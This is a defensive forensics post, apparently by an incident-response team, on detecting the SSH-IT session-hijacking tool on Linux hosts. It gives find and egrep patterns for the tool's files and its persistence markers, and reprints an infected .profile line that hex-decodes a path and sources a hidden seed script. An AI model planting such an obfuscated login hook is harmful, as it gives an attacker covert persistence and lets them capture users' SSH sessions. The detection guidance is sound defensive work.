SSH-IT. Guide to detecting a popular tool

More in General
- We helped Apple fix a vulnerability in the kernel of its operating systems
We helped Apple fix a vulnerability in the kernel of its operating systems PT ESC expert…
- Recovering EVTX records: carving methods
Recovering EVTX records: carving methods 🧩 When investigating incidents where attackers encrypt virtual machine images, a…
- Operation Chewbacca
At the end of June, the PT ESC team, during incident investigations, discovered a new group…
- Your Zimbra server is at risk
Recently, our PT ESC IR team encountered a new attack by ransomware groups on Zimbra mail…
- He's not your gsocket
He's not gsocket to you 😑 During the investigation of one of the incidents, PT ESC…
In the course of investigating numerous incidents involving the compromise of Linux nodes, we sometimes discover various hacking tools on them.
Today we’ll talk about SSH-IT. Hackers often use it to intercept SSH sessions and capture commands entered by users.
To detect signs of the tool being installed on nodes, look for:
1. Files matching the pattern:
'/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)':
find / -type f | egrep -a '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)'
Code language: plaintext (plaintext)🧐 Example:
/home/john/.config/prng/askpass.sh
/home/john/.config/prng/depth.cfg
/home/john/.config/prng/funcs
/home/john/.config/prng/hook.sh
/home/john/.config/prng/ptyspy_bin.aarch64-linux
/home/john/.config/prng/ptyspy_bin.armv6l-linux
/home/john/.config/prng/ptyspy_bin.i386-alpine
/home/john/.config/prng/ptyspy_bin.mips32-alpine
/home/john/.config/prng/ptyspy_bin.mips64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-osx
/home/john/.config/prng/seed
/home/john/.config/prng/ssh
/home/john/.config/prng/ssh_login.sh
/home/john/.config/prng/thc_cli
/home/john/.config/prng/x.sh
Code language: plaintext (plaintext)2. Files through which persistence in the system may be established and which contain strings matching the pattern:
'# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD'
egrep -aor '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD' /
Code language: plaintext (plaintext)👀 Example (file
/home/john/.profile):
"# ~/.profile: executed by the command interpreter for login shells.
# DO NOT REMOVE THIS LINE. SEED PRNGD.
source "$(echo 2f686f6d652f6a6f686e2f2e636f6e6669672f70726e672f736565640a|/usr/bin/xxd -r -ps 2>/dev/null)" 2>/dev/null #PRNGD
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.
# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022
# if running bash
if [ -n ""$BASH_VERSION"" ]; then
# include .bashrc if it exists
if [ -f ""$HOME/.bashrc"" ]; then
. ""$HOME/.bashrc""
fi
fi
# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/bin"" ] ; then
PATH=""$HOME/bin:$PATH""
fi
# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/.local/bin"" ] ; then
PATH=""$HOME/.local/bin:$PATH""
fi"
Code language: Bash (bash)📃 Recommendations for further actions:
1️⃣ Block the addresses of the command-and-control servers;
2️⃣ Delete the files related to SSH-IT, and also modify the files through which SSH-IT established persistence in the system;
3️⃣ Reboot the compromised host;
4️⃣ Search for suspicious network logins and check the web server logs (if one exists and is exposed to the internet).
#tip #detect #hacktool #dfir
@ptescalator
More in General
- We helped Apple fix a vulnerability in the kernel of its operating systems
We helped Apple fix a vulnerability in the kernel of its operating systems PT ESC expert…
- Recovering EVTX records: carving methods
Recovering EVTX records: carving methods 🧩 When investigating incidents where attackers encrypt virtual machine images, a…
- Operation Chewbacca
At the end of June, the PT ESC team, during incident investigations, discovered a new group…
- Your Zimbra server is at risk
Recently, our PT ESC IR team encountered a new attack by ransomware groups on Zimbra mail…
- He's not your gsocket
He's not gsocket to you 😑 During the investigation of one of the incidents, PT ESC…



